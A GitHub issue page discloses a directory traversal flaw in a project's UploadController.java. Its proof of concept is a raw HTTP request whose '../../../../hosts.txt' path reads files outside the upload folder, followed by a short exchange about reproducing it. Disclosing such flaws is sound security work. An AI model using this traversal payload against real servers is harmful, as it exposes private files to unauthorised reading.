Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[vulnerability] Directory traversal Vulnerability in UploadController.java #2

Open
x0blank opened this issue Nov 20, 2024 · 2 comments

Comments

@x0blank
Copy link

x0blank commented Nov 20, 2024

Directory traversal Vulnerability in UploadController.java
1

`GET /upload/file/2024/11/20/1859180710022115329.png/../../../../hosts.txt HTTP/1.1
Host: localhost:8101
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

`
2

Directory traversal to read files

@MagicZer0
Copy link

I can't reproduce this issue. Why the hosts.txt can't be found in my machine?

@x0blank
Copy link
Author

x0blank commented Dec 5, 2024

Directory traversal vulnerability, hosts file is self set in the root directory of the image directory

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants